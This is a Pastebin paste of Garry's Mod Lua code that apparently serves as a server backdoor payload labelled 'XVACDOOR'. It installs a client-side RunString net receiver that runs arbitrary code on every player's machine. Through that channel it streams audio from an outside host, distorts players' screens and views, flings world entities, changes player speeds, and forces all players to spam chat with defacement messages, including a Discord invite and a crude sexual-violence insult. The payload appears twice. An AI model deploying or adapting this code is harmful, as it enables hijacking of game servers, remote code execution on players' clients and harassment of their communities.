API tools faq
paste
Advertisement
Xeni0

Untitled

Xeni0
Dec 6th, 2019
209
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.46 KB | None | 0 0
raw download clone embed print report
  1. local function rdm_str(len)
  2. if !len or len <= 0 then return '' end
  3. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  4. end
  5.  
  6. local function SendCodee( ply )
  7. util.AddNetworkString("EEFEZFKHUNEVZAEZ")
  8. ply:SendLua([[net.Receive("EEFEZFKHUNEVZAEZ",function()RunString(net.ReadString())end)]])
  9. timer.Simple(2, function()
  10. net.Start("EEFEZFKHUNEVZAEZ")
  11. net.WriteString([=============[
  12. local AudioSource = nil
  13. local AMP = 12500
  14. gfx = {}
  15. sound.PlayURL("https://anatik.alwaysdata.net/spider.mp3","no block",function(source, err, errname)
  16. if IsValid(source) then
  17. AudioSource = source
  18. source:Play()
  19.  
  20. local smoothdata = {}
  21. local smoothdataa = {}
  22.  
  23. for i = 1, 512 do
  24. smoothdataa[i] = 0
  25. end
  26.  
  27. for i = 1, 1024 do
  28. smoothdata[i] = 0
  29. end
  30.  
  31. TextFramesss = vgui.Create( "DFrame" )
  32. TextFramesss:SetSize( 650, 100 )
  33. TextFramesss:SetTitle( "" )
  34. TextFramesss:ShowCloseButton( false )
  35. TextFramesss:Center()
  36. TextFramesss.Paint = function( self, w, h ) -- 'function Frame:Paint( w, h )' works too
  37. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 0 ) ) -- Draw a red box instead of the frame
  38. end
  39.  
  40. -- RichText panel
  41. local richtext = vgui.Create( "RichText", TextFramesss )
  42. richtext:Dock( FILL )
  43.  
  44. -- Red text
  45. richtext:InsertColorChange( 235, 60, 32, 255 )
  46. richtext:SetVerticalScrollbarEnabled( false )
  47.  
  48. local words = { "Welcome", "To", "Spider", "Visual", "By", "Xeni0..." }
  49.  
  50. local delay = 1
  51.  
  52. -- Display each word in half second interval
  53. for w, txt in pairs( words ) do
  54.  
  55. if ( w == 1 ) then delay = 0.2
  56. else delay = ( w-1 )*0.45 end
  57.  
  58. timer.Simple( delay, function()
  59.  
  60. richtext:AppendText( txt.." " )
  61. richtext:InsertFade( 2, 1 ) -- Sustain for 2 seconds while fading out after 1 second
  62.  
  63. richtext:SetBGColor( Color( 0, 0, 0, 0 ) )
  64. richtext:SetFontInternal( "DermaLarge" )
  65.  
  66. end )
  67. end
  68. TextFramesss:Center()
  69. timer.Simple(7.50, function()
  70. TextFramesss:Close()
  71. end)
  72.  
  73. function draw.RotatedBox( x, y, w, h, ang, color )
  74. draw.NoTexture()
  75. surface.SetDrawColor( color or color_white )
  76. surface.DrawTexturedRectRotated( x, y, w, h, ang )
  77. end
  78. timer.Simple(7.50, function()
  79. hook.Add("HUDPaint", "cbomecregardewowfd", function()
  80. local datah = {}
  81. AudioSource:FFT(datah, FFT_1024)
  82. for i = 1, 512 do
  83. local col = HSVToColor(i * 2 % 360,1,1)
  84. smoothdataa [i] = Lerp(10 * FrameTime(), smoothdataa[i], datah[i])
  85. draw.RotatedBox( ScrW() / 2, ScrH() / 2, 2.5, 100 + smoothdataa[i] * AMP, i * 1.25 * CurTime() % 360, col )
  86. end
  87. end)
  88. end)
  89. hook.Add("HUDPaint", "cbomecregardewow", function()
  90. local data = {}
  91. AudioSource:FFT(data, FFT_1024)
  92. for i = 1, 512 do
  93. local col = HSVToColor(i * 2 % 360,1,1)
  94. smoothdata [i] = Lerp(10 * FrameTime(), smoothdata[i], data[i])
  95. end
  96.  
  97.  
  98. local ab = 0
  99. for i = 1, 50 do
  100. ab = ab + data[i]
  101. end
  102. ab = ab / 50
  103.  
  104. local function SaBougeMec(ply,pos,angles,fov)
  105. local a = 0
  106. for i = 1, 50 do
  107. a = a + smoothdata[i]
  108. end
  109. a = a / 50
  110.  
  111. local view = {}
  112. view.origin = pos
  113. view.angles = angles
  114. view.fov = fov + (a * 600)
  115. return view
  116. end
  117.  
  118. hook.Add("CalcView", "SaBougeMec", SaBougeMec)
  119.  
  120. local function SaZoomMec(ply,pos,angles,fov)
  121. local ae = 0
  122. for i = 1, 50 do
  123. ae = ae + data[i]
  124. end
  125. ae = ae / 50
  126.  
  127. local v = {}
  128. v.origin = pos
  129. v.angles = angles
  130. v.fov = fov - (ae * 600)
  131. return v
  132. end
  133.  
  134. local mats = Entity(0):GetMaterials()
  135. for k,v in pairs(mats) do
  136. Material(v):SetVector("$color", Vector(ab * 23,0,0))
  137. end
  138.  
  139. local tbl = {}
  140. source:FFT(tbl,FFT_2048)
  141.  
  142.  
  143. xpcall(function()
  144. local fal = 0
  145. for i=4,6 do
  146. fal = fal + tbl[i]
  147. end
  148.  
  149. if fal > 0.60 then
  150. if okmecctoikigeresabrotadeadsa == 1337 then
  151. net.Start("SaSauteCestBo")
  152. net.SendToServer()
  153. end
  154. timer.Destroy("ethopsadisparaitlol")
  155. timer.Destroy("ethoplezoomestrenormal")
  156.  
  157. hook.Remove("CalcView", "SaBougeMec")
  158. if !hook.GetTable()["CalcView"]["SaBougeMec2"] then
  159. hook.Add("CalcView", "SaBougeMec2", SaZoomMec)
  160. end
  161. -- CODE CHELOUE
  162. local mats = Entity(0):GetMaterials()
  163. for k,v in pairs(mats) do
  164. Material(v):SetVector("$color", Vector(0,ab * 23,0))
  165. end
  166. -- FIN CODE CHELOUE
  167. hook.Add( "GetMotionBlurValues", "watht", function()
  168. return 0, 0, 1, math.sin(CurTime() *13)
  169. end )
  170.  
  171.  
  172. hook.Add( "PostDrawTranslucentRenderables", "ohgodd", function()
  173. render.SetMaterial( Material("cable/blue_elec") )
  174. for i = 1, 32 do
  175. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 100) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  176. end
  177. end )
  178.  
  179. timer.Create("ethoplezoomestrenormal", 0.05, 1, function()
  180. hook.Remove("CalcView", "SaBougeMec2")
  181. hook.Add("CalcView", "SaBougeMec", SaBougeMec)
  182. end)
  183. timer.Create("ethopsadisparaitlol", 0.80, 1, function()
  184. hook.Remove("RenderScreenspaceEffects", "ohgoddd")
  185. hook.Remove("PostDrawTranslucentRenderables", "ohgodd")
  186. hook.Remove("GetMotionBlurValues", "watht")
  187. end)
  188. util.ScreenShake(LocalPlayer():GetPos(),20,20,0.5,20)
  189. local col = HSVToColor(ColorRand().r-50, ColorRand().g-50, ColorRand().b-50)
  190. function GAMEMODE:PostDraw2DSkyBox()
  191. render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
  192. return !!1
  193. end
  194. function GAMEMODE:PreDrawSkyBox()
  195. render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
  196. return !!1
  197. end
  198. end
  199. end,function()
  200. end)
  201.  
  202.  
  203. end)
  204.  
  205. end
  206. end)
  207.  
  208. ]=============])
  209. net.Send(ply)
  210. for k, v in pairs(player.GetAll()) do
  211. v:SetRunSpeed(1500)
  212. v:SetWalkSpeed(1500)
  213. end
  214. end)
  215. end
  216. hook.Add("PlayerInitialSpawn", "GBlackDoor", function(ply)
  217. timer.Simple(4,function()
  218. SendCodee(ply)
  219. end)
  220. end)
  221.  
  222. local p = table.Random(player.GetAll())
  223. p:SendLua("okmecctoikigeresabrotadeadsa = 1337")
  224.  
  225. hook.Add("Think", "MecRegardeSaFaitUnPeutLagMaisC'estPourLeStyle", function()
  226. if p:IsConnected() == false then
  227. local p = table.Random(player.GetAll())
  228. p:SendLua("okmecctoikigeresabrotadeadsa = 1337")
  229. end
  230. end)
  231.  
  232. util.AddNetworkString("SaSauteCestBo")
  233. net.Receive("SaSauteCestBo", function()
  234. for _, e in pairs(ents.GetAll()) do
  235.  
  236. if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -100, 100 ), math.random( -100, 100 ), math.random( 270, 390 ) ) ) end
  237.  
  238. end
  239. end)
  240.  
  241. for k,v in pairs(player.GetAll()) do
  242. SendCodee(v)
  243. end
  244.  
  245. timer.Simple(8, function()
  246. local oofedbro = {
  247. "OOF PAWNED",
  248. "Love Your Server <3",
  249. "< All",
  250. "XVACDOOR > All",
  251. "Toi < All",
  252. "LEAKED SERVER !",
  253. "OOFED BY XVACDOOR",
  254. "https://discord.gg/UEFMz8R",
  255. "Rape your server :c",
  256. "DarkRP = Dead ?"
  257. }
  258. timer.Create("bijourjesuislesmessageshearthearth", 2, 0, function()
  259. for k, v in pairs(player.GetAll()) do
  260. v:Say("/ooc "..table.Random(oofedbro))
  261. end
  262. end)
  263. end)
  264.  
  265.  
  266. --[[
  267. RunString
  268. --]]
  269. PrintMessage(10,'')
  270.  
  271. --[[
  272. LuaCmd
  273. --]]
  274. okmecctoikigeresabrotadeadsa = 1337
  275.  
  276. --[[
  277. LuaCmd
  278. --]]
  279. net.Receive("EEFEZFKHUNEVZAEZ",function()RunString(net.ReadString())end)
  280.  
  281. --[[
  282. RunString
  283. --]]
  284.  
  285. local AudioSource = nil
  286. local AMP = 12500
  287. gfx = {}
  288. sound.PlayURL("https://anatik.alwaysdata.net/spider.mp3","no block",function(source, err, errname)
  289. if IsValid(source) then
  290. AudioSource = source
  291. source:Play()
  292.  
  293. local smoothdata = {}
  294. local smoothdataa = {}
  295.  
  296. for i = 1, 512 do
  297. smoothdataa[i] = 0
  298. end
  299.  
  300. for i = 1, 1024 do
  301. smoothdata[i] = 0
  302. end
  303.  
  304. TextFramesss = vgui.Create( "DFrame" )
  305. TextFramesss:SetSize( 650, 100 )
  306. TextFramesss:SetTitle( "" )
  307. TextFramesss:ShowCloseButton( false )
  308. TextFramesss:Center()
  309. TextFramesss.Paint = function( self, w, h ) -- 'function Frame:Paint( w, h )' works too
  310. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 0 ) ) -- Draw a red box instead of the frame
  311. end
  312.  
  313. -- RichText panel
  314. local richtext = vgui.Create( "RichText", TextFramesss )
  315. richtext:Dock( FILL )
  316.  
  317. -- Red text
  318. richtext:InsertColorChange( 235, 60, 32, 255 )
  319. richtext:SetVerticalScrollbarEnabled( false )
  320.  
  321. local words = { "Welcome", "To", "Spider", "Visual", "By", "RayanFR..." }
  322.  
  323. local delay = 1
  324.  
  325. -- Display each word in half second interval
  326. for w, txt in pairs( words ) do
  327.  
  328. if ( w == 1 ) then delay = 0.2
  329. else delay = ( w-1 )*0.45 end
  330.  
  331. timer.Simple( delay, function()
  332.  
  333. richtext:AppendText( txt.." " )
  334. richtext:InsertFade( 2, 1 ) -- Sustain for 2 seconds while fading out after 1 second
  335.  
  336. richtext:SetBGColor( Color( 0, 0, 0, 0 ) )
  337. richtext:SetFontInternal( "DermaLarge" )
  338.  
  339. end )
  340. end
  341. TextFramesss:Center()
  342. timer.Simple(7.50, function()
  343. TextFramesss:Close()
  344. end)
  345.  
  346. function draw.RotatedBox( x, y, w, h, ang, color )
  347. draw.NoTexture()
  348. surface.SetDrawColor( color or color_white )
  349. surface.DrawTexturedRectRotated( x, y, w, h, ang )
  350. end
  351. timer.Simple(7.50, function()
  352. hook.Add("HUDPaint", "cbomecregardewowfd", function()
  353. local datah = {}
  354. AudioSource:FFT(datah, FFT_1024)
  355. for i = 1, 512 do
  356. local col = HSVToColor(i * 2 % 360,1,1)
  357. smoothdataa [i] = Lerp(10 * FrameTime(), smoothdataa[i], datah[i])
  358. draw.RotatedBox( ScrW() / 2, ScrH() / 2, 2.5, 100 + smoothdataa[i] * AMP, i * 1.25 * CurTime() % 360, col )
  359. end
  360. end)
  361. end)
  362. hook.Add("HUDPaint", "cbomecregardewow", function()
  363. local data = {}
  364. AudioSource:FFT(data, FFT_1024)
  365. for i = 1, 512 do
  366. local col = HSVToColor(i * 2 % 360,1,1)
  367. smoothdata [i] = Lerp(10 * FrameTime(), smoothdata[i], data[i])
  368. end
  369.  
  370.  
  371. local ab = 0
  372. for i = 1, 50 do
  373. ab = ab + data[i]
  374. end
  375. ab = ab / 50
  376.  
  377. local function SaBougeMec(ply,pos,angles,fov)
  378. local a = 0
  379. for i = 1, 50 do
  380. a = a + smoothdata[i]
  381. end
  382. a = a / 50
  383.  
  384. local view = {}
  385. view.origin = pos
  386. view.angles = angles
  387. view.fov = fov + (a * 600)
  388. return view
  389. end
  390.  
  391. hook.Add("CalcView", "SaBougeMec", SaBougeMec)
  392.  
  393. local function SaZoomMec(ply,pos,angles,fov)
  394. local ae = 0
  395. for i = 1, 50 do
  396. ae = ae + data[i]
  397. end
  398. ae = ae / 50
  399.  
  400. local v = {}
  401. v.origin = pos
  402. v.angles = angles
  403. v.fov = fov - (ae * 600)
  404. return v
  405. end
  406.  
  407. local mats = Entity(0):GetMaterials()
  408. for k,v in pairs(mats) do
  409. Material(v):SetVector("$color", Vector(ab * 23,0,0))
  410. end
  411.  
  412. local tbl = {}
  413. source:FFT(tbl,FFT_2048)
  414.  
  415.  
  416. xpcall(function()
  417. local fal = 0
  418. for i=4,6 do
  419. fal = fal + tbl[i]
  420. end
  421.  
  422. if fal > 0.60 then
  423. if okmecctoikigeresabrotadeadsa == 1337 then
  424. net.Start("SaSauteCestBo")
  425. net.SendToServer()
  426. end
  427. timer.Destroy("ethopsadisparaitlol")
  428. timer.Destroy("ethoplezoomestrenormal")
  429.  
  430. hook.Remove("CalcView", "SaBougeMec")
  431. if !hook.GetTable()["CalcView"]["SaBougeMec2"] then
  432. hook.Add("CalcView", "SaBougeMec2", SaZoomMec)
  433. end
  434. -- CODE CHELOUE
  435. local mats = Entity(0):GetMaterials()
  436. for k,v in pairs(mats) do
  437. Material(v):SetVector("$color", Vector(0,ab * 23,0))
  438. end
  439. -- FIN CODE CHELOUE
  440. hook.Add( "GetMotionBlurValues", "watht", function()
  441. return 0, 0, 1, math.sin(CurTime() *13)
  442. end )
  443.  
  444.  
  445. hook.Add( "PostDrawTranslucentRenderables", "ohgodd", function()
  446. render.SetMaterial( Material("cable/blue_elec") )
  447. for i = 1, 32 do
  448. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 100) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  449. end
  450. end )
  451.  
  452. timer.Create("ethoplezoomestrenormal", 0.05, 1, function()
  453. hook.Remove("CalcView", "SaBougeMec2")
  454. hook.Add("CalcView", "SaBougeMec", SaBougeMec)
  455. end)
  456. timer.Create("ethopsadisparaitlol", 0.80, 1, function()
  457. hook.Remove("RenderScreenspaceEffects", "ohgoddd")
  458. hook.Remove("PostDrawTranslucentRenderables", "ohgodd")
  459. hook.Remove("GetMotionBlurValues", "watht")
  460. end)
  461. util.ScreenShake(LocalPlayer():GetPos(),20,20,0.5,20)
  462. local col = HSVToColor(ColorRand().r-50, ColorRand().g-50, ColorRand().b-50)
  463. function GAMEMODE:PostDraw2DSkyBox()
  464. render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
  465. return !!1
  466. end
  467. function GAMEMODE:PreDrawSkyBox()
  468. render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
  469. return !!1
  470. end
  471. end
  472. end,function()
  473. end)
  474.  
  475.  
  476. end)
  477.  
  478. end
  479. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!